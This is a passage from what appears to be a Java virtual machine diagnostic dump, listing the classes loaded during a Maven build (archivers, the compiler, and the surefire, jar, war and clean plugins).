org/codehaus/plexus/archiver/jar/Manifest$ExistingSection\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$Section\ninstanceKlass org/apache/maven/archiver/ManifestConfiguration\ninstanceKlass org/apache/maven/archiver/PomPropertiesUtil\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoFileResource$$Lambda$468\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/functions/FileSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/ResourceAttributeSupplier\ninstanceKlass org/codehaus/plexus/components/io/resources/ResourceFactory\ninstanceKlass org/codehaus/plexus/components/io/attributes/FileAttributes\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributeUtils\ninstanceKlass org/codehaus/plexus/components/io/attributes/SimpleResourceAttributes\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection$IdentityTransformer\ninstanceKlass org/codehaus/plexus/archiver/util/AbstractFileSet\ninstanceKlass org/apache/maven/archiver/MavenArchiver$$Lambda$467\ninstanceKlass org/apache/maven/archiver/MavenArchiver$$Lambda$466\ninstanceKlass org/apache/maven/plugins/jar/AbstractJarMojo$$Lambda$465\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$BaseAttribute\ninstanceKlass org/codehaus/plexus/interpolation/RecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/Interpolator\ninstanceKlass org/codehaus/plexus/interpolation/BasicInterpolator\ninstanceKlass org/apache/maven/plugins/jar/AbstractJarMojo$$Lambda$464\ninstanceKlass org/apache/maven/plugins/jar/AbstractJarMojo$$Lambda$463\ninstanceKlass org/codehaus/plexus/util/NioFiles\ninstanceKlass org/codehaus/plexus/util/SelectorUtils\ninstanceKlass org/codehaus/plexus/util/MatchPattern\ninstanceKlass org/codehaus/plexus/util/AbstractScanner\ninstanceKlass org/codehaus/plexus/util/Scanner\ninstanceKlass org/apache/maven/shared/model/fileset/Mapper\ninstanceKlass org/apache/maven/shared/model/fileset/SetBase\ninstanceKlass org/apache/maven/shared/model/fileset/util/FileSetManager\ninstanceKlass org/apache/maven/plugins/jar/JarMojo$$FastClassByGuice$$581963184\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoFileResourceCollection$$FastClassByGuice$$581061308\ninstanceKlass org/codehaus/plexus/components/io/resources/DefaultPlexusIoFileResourceCollection$$FastClassByGuice$$580264045\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/IncludeExcludeFileSelector$$FastClassByGuice$$579422389\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/DefaultFileSelector$$FastClassByGuice$$578191586\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/AllFilesFileSelector$$FastClassByGuice$$577140430\ninstanceKlass org/codehaus/plexus/components/io/filemappers/SuffixFileMapper$$FastClassByGuice$$576557692\ninstanceKlass org/codehaus/plexus/components/io/filemappers/RegExpFileMapper$$FastClassByGuice$$575013855\ninstanceKlass org/codehaus/plexus/components/io/filemappers/PrefixFileMapper$$FastClassByGuice$$574430146\ninstanceKlass org/codehaus/plexus/components/io/filemappers/MergeFileMapper$$FastClassByGuice$$572895773\ninstanceKlass org/codehaus/plexus/components/io/filemappers/IdentityMapper$$FastClassByGuice$$571970057\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FlattenFileMapper$$FastClassByGuice$$571464725\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileExtensionMapper$$FastClassByGuice$$569681758\ninstanceKlass org/codehaus/plexus/components/io/filemappers/DefaultFileMapper$$FastClassByGuice$$569097351\ninstanceKlass org/codehaus/plexus/archiver/zstd/ZstdUnArchiver$$FastClassByGuice$$567705572\ninstanceKlass org/codehaus/plexus/archiver/zstd/ZstdArchiver$$FastClassByGuice$$566709612\ninstanceKlass org/codehaus/plexus/archiver/zstd/PlexusIoZstdResourceCollection$$FastClassByGuice$$565644436\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipUnArchiver$$FastClassByGuice$$564506987\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipArchiver$$FastClassByGuice$$564041432\ninstanceKlass org/codehaus/plexus/archiver/zip/PlexusArchiverZipFileResourceCollection$$FastClassByGuice$$562299822\ninstanceKlass org/codehaus/plexus/archiver/xz/XZUnArchiver$$FastClassByGuice$$561116717\ninstanceKlass org/codehaus/plexus/archiver/xz/XZArchiver$$FastClassByGuice$$560462519\ninstanceKlass org/codehaus/plexus/archiver/xz/PlexusIoXZResourceCollection$$FastClassByGuice$$559711108\ninstanceKlass org/codehaus/plexus/archiver/war/WarUnArchiver$$FastClassByGuice$$557850527\ninstanceKlass org/codehaus/plexus/archiver/war/WarArchiver$$FastClassByGuice$$556818880\ninstanceKlass org/codehaus/plexus/archiver/war/PlexusIoWarFileResourceCollection$$FastClassByGuice$$556297095\ninstanceKlass org/codehaus/plexus/archiver/tar/TarZstdUnArchiver$$FastClassByGuice$$554909034\ninstanceKlass org/codehaus/plexus/archiver/tar/TarZstdArchiver$$FastClassByGuice$$554492682\ninstanceKlass org/codehaus/plexus/archiver/tar/TarXZUnArchiver$$FastClassByGuice$$553513458\ninstanceKlass org/codehaus/plexus/archiver/tar/TarXZArchiver$$FastClassByGuice$$552466082\ninstanceKlass org/codehaus/plexus/archiver/tar/TarUnArchiver$$FastClassByGuice$$550668823\ninstanceKlass org/codehaus/plexus/archiver/tar/TarSnappyUnArchiver$$FastClassByGuice$$550452566\ninstanceKlass org/codehaus/plexus/archiver/tar/TarSnappyArchiver$$FastClassByGuice$$549264990\ninstanceKlass org/codehaus/plexus/archiver/tar/TarGZipUnArchiver$$FastClassByGuice$$547873129\ninstanceKlass org/codehaus/plexus/archiver/tar/TarGZipArchiver$$FastClassByGuice$$546764293\ninstanceKlass org/codehaus/plexus/archiver/tar/TarBZip2UnArchiver$$FastClassByGuice$$546239459\ninstanceKlass org/codehaus/plexus/archiver/tar/TarBZip2Archiver$$FastClassByGuice$$544360681\ninstanceKlass org/codehaus/plexus/archiver/tar/TarArchiver$$FastClassByGuice$$543812903\ninstanceKlass org/codehaus/plexus/archiver/tar/TZstdUnArchiver$$FastClassByGuice$$542178097\ninstanceKlass org/codehaus/plexus/archiver/tar/TZstdArchiver$$FastClassByGuice$$541909111\ninstanceKlass org/codehaus/plexus/archiver/tar/TXZUnArchiver$$FastClassByGuice$$540582019\ninstanceKlass org/codehaus/plexus/archiver/tar/TXZArchiver$$FastClassByGuice$$539466079\ninstanceKlass org/codehaus/plexus/archiver/tar/TGZUnArchiver$$FastClassByGuice$$538929314\ninstanceKlass org/codehaus/plexus/archiver/tar/TGZArchiver$$FastClassByGuice$$536895775\ninstanceKlass org/codehaus/plexus/archiver/tar/TBZ2UnArchiver$$FastClassByGuice$$535992141\ninstanceKlass org/codehaus/plexus/archiver/tar/TBZ2Archiver$$FastClassByGuice$$535188426\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarZstdFileResourceCollection$$FastClassByGuice$$534307101\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarXZFileResourceCollection$$FastClassByGuice$$533287074\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarSnappyFileResourceCollection$$FastClassByGuice$$532546010\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarGZipFileResourceCollection$$FastClassByGuice$$531247642\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarFileResourceCollection$$FastClassByGuice$$529807109\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarBZip2FileResourceCollection$$FastClassByGuice$$529251406\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTZstdFileResourceCollection$$FastClassByGuice$$527820376\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTXZFileResourceCollection$$FastClassByGuice$$526799102\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTGZFileResourceCollection$$FastClassByGuice$$525547189\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTBZ2FileResourceCollection$$FastClassByGuice$$524346714\ninstanceKlass org/codehaus/plexus/archiver/swc/SwcUnArchiver$$FastClassByGuice$$523992386\ninstanceKlass org/codehaus/plexus/archiver/swc/PlexusIoSwcFileResourceCollection$$FastClassByGuice$$522814084\ninstanceKlass org/codehaus/plexus/archiver/snappy/SnappyUnArchiver$$FastClassByGuice$$521930073\ninstanceKlass org/codehaus/plexus/archiver/snappy/SnappyArchiver$$FastClassByGuice$$520931074\ninstanceKlass org/codehaus/plexus/archiver/snappy/PlexusIoSnappyResourceCollection$$FastClassByGuice$$519484099\ninstanceKlass org/codehaus/plexus/archiver/sar/SarUnArchiver$$FastClassByGuice$$518872872\ninstanceKlass org/codehaus/plexus/archiver/sar/PlexusIoSarFileResourceCollection$$FastClassByGuice$$517844911\ninstanceKlass org/codehaus/plexus/archiver/rar/RarUnArchiver$$FastClassByGuice$$516662120\ninstanceKlass org/codehaus/plexus/archiver/rar/RarArchiver$$FastClassByGuice$$515369124\ninstanceKlass org/codehaus/plexus/archiver/rar/PlexusIoRarFileResourceCollection$$FastClassByGuice$$514082544\ninstanceKlass org/codehaus/plexus/archiver/par/PlexusIoJarFileResourceCollection$$FastClassByGuice$$513468448\ninstanceKlass org/codehaus/plexus/archiver/par/ParUnArchiver$$FastClassByGuice$$512400549\ninstanceKlass org/codehaus/plexus/archiver/nar/PlexusIoNarFileResourceCollection$$FastClassByGuice$$511135677\ninstanceKlass org/codehaus/plexus/archiver/nar/NarUnArchiver$$FastClassByGuice$$509635176\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager$$FastClassByGuice$$508881603\ninstanceKlass org/codehaus/plexus/archiver/jar/PlexusIoJarFileResourceCollection$$FastClassByGuice$$508061114\ninstanceKlass org/codehaus/plexus/archiver/jar/JarUnArchiver$$FastClassByGuice$$507320428\ninstanceKlass org/codehaus/plexus/archiver/jar/JarToolModularJarArchiver$$FastClassByGuice$$505861268\ninstanceKlass org/codehaus/plexus/archiver/jar/JarArchiver$$FastClassByGuice$$504907348\ninstanceKlass org/codehaus/plexus/archiver/gzip/PlexusIoGzipResourceCollection$$FastClassByGuice$$504232795\ninstanceKlass org/codehaus/plexus/archiver/gzip/PlexusIoGzResourceCollection$$FastClassByGuice$$503065808\ninstanceKlass org/codehaus/plexus/archiver/gzip/GZipUnArchiver$$FastClassByGuice$$501857624\ninstanceKlass org/codehaus/plexus/archiver/gzip/GZipArchiver$$FastClassByGuice$$500173652\ninstanceKlass org/codehaus/plexus/archiver/filters/JarSecurityFileSelector$$FastClassByGuice$$499883186\ninstanceKlass org/codehaus/plexus/archiver/esb/PlexusIoEsbFileResourceCollection$$FastClassByGuice$$498110253\ninstanceKlass org/codehaus/plexus/archiver/esb/EsbUnArchiver$$FastClassByGuice$$497551760\ninstanceKlass org/codehaus/plexus/archiver/ear/PlexusIoEarFileResourceCollection$$FastClassByGuice$$496083083\ninstanceKlass org/codehaus/plexus/archiver/ear/EarUnArchiver$$FastClassByGuice$$495356178\ninstanceKlass org/codehaus/plexus/archiver/ear/EarArchiver$$FastClassByGuice$$494826918\ninstanceKlass org/codehaus/plexus/archiver/dir/DirectoryArchiver$$FastClassByGuice$$493557932\ninstanceKlass org/codehaus/plexus/archiver/car/PlexusIoCarFileResourceCollection$$FastClassByGuice$$492058237\ninstanceKlass org/codehaus/plexus/archiver/car/CarUnArchiver$$FastClassByGuice$$491388149\ninstanceKlass org/codehaus/plexus/archiver/bzip2/PlexusIoBzip2ResourceCollection$$FastClassByGuice$$489938836\ninstanceKlass org/codehaus/plexus/archiver/bzip2/PlexusIoBz2ResourceCollection$$FastClassByGuice$$489379485\ninstanceKlass org/codehaus/plexus/archiver/bzip2/BZip2UnArchiver$$FastClassByGuice$$487755277\ninstanceKlass org/codehaus/plexus/archiver/bzip2/BZip2Archiver$$FastClassByGuice$$487080845\ninstanceKlass org/apache/maven/plugins/jar/ToolchainsJdkSpecification$$FastClassByGuice$$486118322\ninstanceKlass org/codehaus/plexus/util/MatchPatterns\ninstanceKlass org/codehaus/plexus/archiver/tar/TarArchiver$TarOptions\ninstanceKlass org/codehaus/plexus/archiver/tar/TarFile\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFile\ninstanceKlass org/apache/commons/compress/parallel/InputStreamSupplier\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$UnicodeExtraFieldPolicy\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator\ninstanceKlass org/codehaus/plexus/archiver/zip/AddedDirs\ninstanceKlass org/codehaus/plexus/components/io/functions/PlexusIoResourceConsumer\ninstanceKlass org/apache/commons/compress/archivers/EntryStreamOffsets\ninstanceKlass org/apache/commons/compress/archivers/ArchiveEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipFile\ninstanceKlass org/codehaus/plexus/components/io/functions/InputStreamTransformer\ninstanceKlass org/codehaus/plexus/components/io/resources/Stream\ninstanceKlass org/apache/commons/compress/utils/InputStreamStatistics\ninstanceKlass org/apache/commons/compress/compressors/bzip2/BZip2Constants\ninstanceKlass org/codehaus/plexus/archiver/util/Compressor\ninstanceKlass org/codehaus/plexus/archiver/ArchivedFileSet\ninstanceKlass org/codehaus/plexus/archiver/ArchiveEntry\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/functions/ContentSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/SizeSupplier\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileInfo\ninstanceKlass org/codehaus/plexus/components/io/functions/NameSupplier\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$AddedResourceCollection\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFinalizer\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributes\ninstanceKlass org/codehaus/plexus/archiver/ResourceIterator\ninstanceKlass org/codehaus/plexus/util/cli/StreamConsumer\ninstanceKlass org/apache/maven/archiver/MavenArchiver\ninstanceKlass org/apache/maven/archiver/MavenArchiveConfiguration\ninstanceKlass org/codehaus/plexus/archiver/FileSet\ninstanceKlass org/codehaus/plexus/archiver/BaseFileSet\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/IncludeExcludeFileSelector\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/AllFilesFileSelector\ninstanceKlass org/codehaus/plexus/components/io/filemappers/AbstractFileMapper\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileMapper\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/manager/ArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/filters/JarSecurityFileSelector\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileSelector\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/EncodingSupported\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoCompressedFileResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoArchivedResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/archiver/AbstractUnArchiver\ninstanceKlass org/codehaus/plexus/archiver/UnArchiver\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver\ninstanceKlass org/codehaus/plexus/archiver/FinalizerEnabled\ninstanceKlass org/codehaus/plexus/archiver/Archiver\ninstanceKlass org/apache/maven/plugins/jar/ToolchainsJdkSpecification\ninstanceKlass org/apache/maven/plugin/surefire/SurefirePlugin$$FastClassByGuice$$484557196\ninstanceKlass org/sonatype/plexus/components/cipher/PBECipher\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/model/SettingsSecurity\ninstanceKlass org/apache/maven/plugin/surefire/StartupReportConfiguration\ninstanceKlass org/apache/maven/plugin/surefire/InPluginVMSurefireStarter\ninstanceKlass org/apache/maven/surefire/booter/ProviderConfiguration\ninstanceKlass org/apache/maven/surefire/booter/StartupConfiguration\ninstanceKlass org/apache/maven/surefire/booter/Classpath\ninstanceKlass org/apache/maven/plugin/surefire/booterclient/ChecksumCalculator\ninstanceKlass org/apache/maven/plugin/surefire/booterclient/ForkStarter\ninstanceKlass org/apache/maven/surefire/testset/RunOrderParameters\ninstanceKlass org/apache/maven/surefire/booter/ClassLoaderConfiguration\ninstanceKlass org/apache/maven/surefire/util/DefaultScanResult\ninstanceKlass org/apache/maven/surefire/util/ScanResult\ninstanceKlass org/apache/maven/surefire/suite/RunResult\ninstanceKlass org/apache/maven/plugin/surefire/booterclient/ForkConfiguration\ninstanceKlass org/apache/maven/plugin/surefire/SurefireDependencyResolver\ninstanceKlass org/apache/maven/plugin/surefire/ConfigurableProviderInfo\ninstanceKlass org/apache/maven/plugin/surefire/ProviderInfo\ninstanceKlass org/apache/maven/surefire/booter/KeyValueSource\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipher\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcher\ninstanceKlass org/apache/maven/plugin/surefire/SurefireExecutionParameters\ninstanceKlass org/apache/maven/plugin/surefire/SurefireReportParameters\ninstanceKlass org/apache/maven/plugin/compiler/TestCompilerMojo$$FastClassByGuice$$484385335\ninstanceKlass org/apache/maven/plugins/resources/TestResourcesMojo$$FastClassByGuice$$483275957\ninstanceKlass org/apache/maven/shared/utils/io/IOUtil\ninstanceKlass org/apache/maven/shared/utils/io/DirectoryScanResult\ninstanceKlass org/apache/maven/shared/utils/io/SelectorUtils\ninstanceKlass org/apache/maven/shared/utils/io/MatchPattern\ninstanceKlass org/apache/maven/shared/utils/io/MatchPatterns\ninstanceKlass com/sun/tools/javac/comp/Resolve$4$$Lambda$462\ninstanceKlass org/codehaus/plexus/compiler/javac/JavaxToolsCompiler$1\ninstanceKlass org/codehaus/plexus/compiler/javac/JavaxToolsCompiler\ninstanceKlass org/apache/maven/shared/utils/io/DirectoryScanner\ninstanceKlass org/apache/maven/shared/utils/io/FileUtils\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/apache/maven/shared/incremental/IncrementalBuildHelperRequest\ninstanceKlass org/codehaus/plexus/util/SelectorUtils\ninstanceKlass org/codehaus/plexus/util/DirectoryScanner\ninstanceKlass org/codehaus/plexus/compiler/util/scan/AbstractSourceInclusionScanner\ninstanceKlass org/apache/maven/shared/incremental/IncrementalBuildHelper\ninstanceKlass org/apache/maven/shared/utils/StringUtils\ninstanceKlass org/codehaus/plexus/compiler/javac/JavacCompiler$$FastClassByGuice$$481589847\ninstanceKlass org/codehaus/plexus/compiler/manager/DefaultCompilerManager$$FastClassByGuice$$480808286\ninstanceKlass org/apache/maven/plugin/compiler/CompilerMojo$$FastClassByGuice$$479983237\ninstanceKlass org/codehaus/plexus/compiler/CompilerMessage\ninstanceKlass org/codehaus/plexus/util/cli/StreamConsumer\ninstanceKlass org/codehaus/plexus/compiler/CompilerOutputStyle\ninstanceKlass org/codehaus/plexus/compiler/CompilerResult\ninstanceKlass org/codehaus/plexus/compiler/CompilerConfiguration\ninstanceKlass org/codehaus/plexus/compiler/util/scan/SourceInclusionScanner\ninstanceKlass org/codehaus/plexus/compiler/util/scan/mapping/SingleTargetSourceMapping\ninstanceKlass org/codehaus/plexus/compiler/util/scan/mapping/SuffixMapping\ninstanceKlass org/codehaus/plexus/compiler/util/scan/mapping/SourceMapping\ninstanceKlass org/codehaus/plexus/compiler/Compiler\ninstanceKlass org/codehaus/plexus/compiler/manager/CompilerManager\ninstanceKlass org/codehaus/plexus/interpolation/RecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/AbstractValueSource\ninstanceKlass org/apache/maven/plugins/resources/MavenBuildTimestamp\ninstanceKlass org/apache/maven/shared/filtering/FilterWrapper\ninstanceKlass org/apache/commons/lang3/StringUtils\ninstanceKlass org/sonatype/plexus/build/incremental/DefaultBuildContext$$FastClassByGuice$$478369418\ninstanceKlass org/apache/maven/plugins/resources/ResourcesMojo$$FastClassByGuice$$477697066\ninstanceKlass org/apache/maven/shared/filtering/DefaultMavenResourcesFiltering$$FastClassByGuice$$476861225\ninstanceKlass org/apache/maven/shared/filtering/DefaultMavenReaderFilter$$FastClassByGuice$$475546756\ninstanceKlass org/apache/maven/shared/filtering/DefaultMavenFileFilter$$FastClassByGuice$$474639825\ninstanceKlass org/codehaus/plexus/interpolation/Interpolator\ninstanceKlass org/codehaus/plexus/interpolation/BasicInterpolator\ninstanceKlass org/codehaus/plexus/interpolation/ValueSource\ninstanceKlass org/codehaus/plexus/util/Scanner\ninstanceKlass org/apache/maven/shared/filtering/AbstractMavenFilteringRequest\ninstanceKlass org/apache/maven/shared/filtering/DefaultMavenResourcesFiltering\ninstanceKlass org/apache/maven/shared/filtering/MavenResourcesFiltering\ninstanceKlass org/apache/maven/shared/filtering/MavenReaderFilter\ninstanceKlass org/apache/maven/shared/filtering/BaseFilter\ninstanceKlass org/apache/maven/shared/filtering/MavenFileFilter\ninstanceKlass org/apache/maven/shared/filtering/DefaultFilterInfo\ninstanceKlass org/sonatype/plexus/build/incremental/BuildContext\ninstanceKlass org/apache/maven/plugins/clean/Cleaner$Result\ninstanceKlass org/apache/maven/plugins/clean/Cleaner$$Lambda$461\ninstanceKlass org/apache/maven/plugins/clean/Cleaner$$Lambda$460\ninstanceKlass org/apache/maven/plugins/clean/Cleaner$$Lambda$459\ninstanceKlass org/apache/maven/plugins/clean/Cleaner$Logger\ninstanceKlass org/apache/maven/shared/utils/Os\ninstanceKlass org/apache/maven/plugins/clean/Cleaner\ninstanceKlass org/apache/maven/plugins/clean/CleanMojo$$FastClassByGuice$$473936105\ninstanceKlass org/apache/maven/plugins/clean/Fileset\ninstanceKlass org/apache/maven/plugins/clean/Selector\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginValidationManager$PluginValidationIssues$$Lambda$458\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginValidationManager$$Lambda$457\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/sun/tools/javac/comp/Lower$$Lambda$456\ninstanceKlass com/sun/tools/javac/comp/Lower$TreeBuilder\ninstanceKlass com/sun/tools/javac/comp/Check$$Lambda$455\ninstanceKlass com/sun/tools/javac/comp/Lower$EnumMapping\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$1\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$PosKind$$Lambda$454\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$PosKind$$Lambda$453\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$PosKind$$Lambda$452\ninstanceKlass com/sun/tools/javac/tree/JCTree$1\ninstanceKlass java/util/stream/Collectors$$Lambda$451\ninstanceKlass java/util/stream/Collectors$$Lambda$450\ninstanceKlass java/util/stream/Collectors$$Lambda$449\ninstanceKlass java/util/stream/Collectors$$Lambda$448\ninstanceKlass com/sun/tools/javac/parser/JavacParser$$Lambda$447\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream$ZipEntryWriter\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$EntryMetaData\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$CurrentEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$UnparseableExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ParallelScatterZipCreator$$Lambda$446\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$$Lambda$445\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveEntryRequestSupplier\ninstanceKlass org/codehaus/plexus/archiver/zip/AbstractZipArchiver$$Lambda$444\ninstanceKlass org/codehaus/plexus/archiver/util/ResourceUtils\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$$Lambda$443\ninstanceKlass org/codehaus/plexus/components/io/functions/SymlinkDestinationSupplier\ninstanceKlass org/codehaus/plexus/archiver/jar/JarArchiver$$Lambda$442\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream$CompressedEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveEntryRequest\ninstanceKlass org/codehaus/plexus/archiver/zip/AbstractZipArchiver$$Lambda$441\ninstanceKlass org/apache/commons/compress/archivers/zip/ResourceAlignmentExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/PKWareExtraHeader\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEightByteInteger\ninstanceKlass org/apache/commons/compress/archivers/zip/Zip64ExtendedInformationExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/JarMarker\ninstanceKlass org/apache/commons/compress/archivers/zip/X7875_NewUnix\ninstanceKlass org/apache/commons/compress/archivers/zip/AsiExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/UnixStat\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/X000A_NTFS\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipShort\ninstanceKlass org/apache/commons/compress/archivers/zip/X5455_ExtendedTimestamp\ninstanceKlass org/apache/commons/compress/archivers/zip/AbstractUnicodeExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipUtil\ninstanceKlass org/apache/commons/compress/archivers/zip/GeneralPurposeBit\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldParsingBehavior\ninstanceKlass org/apache/commons/compress/archivers/zip/UnparseableExtraFieldBehavior\ninstanceKlass org/codehaus/plexus/archiver/jar/JdkManifestFactory\ninstanceKlass org/apache/commons/compress/archivers/zip/ParallelScatterZipCreator\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream\ninstanceKlass org/apache/commons/io/function/IOConsumer$$Lambda$440\ninstanceKlass org/apache/commons/io/function/IOConsumer\ninstanceKlass org/apache/commons/io/output/ThresholdingOutputStream$$Lambda$439\ninstanceKlass org/apache/commons/io/function/IOFunction\ninstanceKlass org/codehaus/plexus/archiver/zip/DeferredScatterOutputStream\ninstanceKlass org/apache/commons/compress/parallel/ScatterGatherBackingStore\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$DeferredSupplier\ninstanceKlass org/apache/commons/compress/parallel/ScatterGatherBackingStoreSupplier\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncodingHelper$$Lambda$438\ninstanceKlass org/apache/commons/compress/archivers/zip/StreamCompressor\ninstanceKlass org/apache/commons/compress/archivers/zip/NioZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/CharsetAccessor\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncodingHelper\ninstanceKlass org/codehaus/plexus/archiver/util/Streams\ninstanceKlass org/apache/commons/compress/utils/ByteUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipLong\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipExtraField\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$1\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$ExistingSection\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$Section\ninstanceKlass org/apache/maven/archiver/ManifestConfiguration\ninstanceKlass org/apache/maven/archiver/PomPropertiesUtil\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoFileResource$1\ninstanceKlass org/codehaus/plexus/components/io/attributes/FileAttributes\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributeUtils\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/functions/FileSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/ResourceAttributeSupplier\ninstanceKlass org/codehaus/plexus/components/io/resources/ResourceFactory\ninstanceKlass org/codehaus/plexus/components/io/attributes/SimpleResourceAttributes\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection$IdentityTransformer\ninstanceKlass org/codehaus/plexus/archiver/util/AbstractFileSet\ninstanceKlass org/apache/maven/archiver/MavenArchiver$$Lambda$437\ninstanceKlass org/apache/maven/archiver/MavenArchiver$$Lambda$436\ninstanceKlass org/apache/maven/archiver/MavenArchiver$$Lambda$435\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$BaseAttribute\ninstanceKlass org/apache/maven/archiver/MavenArchiver\ninstanceKlass org/apache/maven/plugins/war/util/WarUtils\ninstanceKlass org/codehaus/plexus/interpolation/util/StringUtils\ninstanceKlass org/codehaus/plexus/interpolation/reflection/MethodMap\ninstanceKlass org/codehaus/plexus/interpolation/reflection/ClassMap$CacheMiss\ninstanceKlass org/codehaus/plexus/interpolation/reflection/ClassMap\ninstanceKlass org/codehaus/plexus/interpolation/reflection/ReflectionValueExtractor$Tokenizer\ninstanceKlass org/codehaus/plexus/interpolation/reflection/ReflectionValueExtractor\ninstanceKlass org/codehaus/plexus/interpolation/SimpleRecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/RegexBasedInterpolator\ninstanceKlass org/apache/maven/shared/mapping/MappingUtils\ninstanceKlass sun/nio/fs/WindowsSecurity$1\ninstanceKlass sun/nio/fs/WindowsSecurity$Privilege\ninstanceKlass org/codehaus/plexus/util/NioFiles\ninstanceKlass 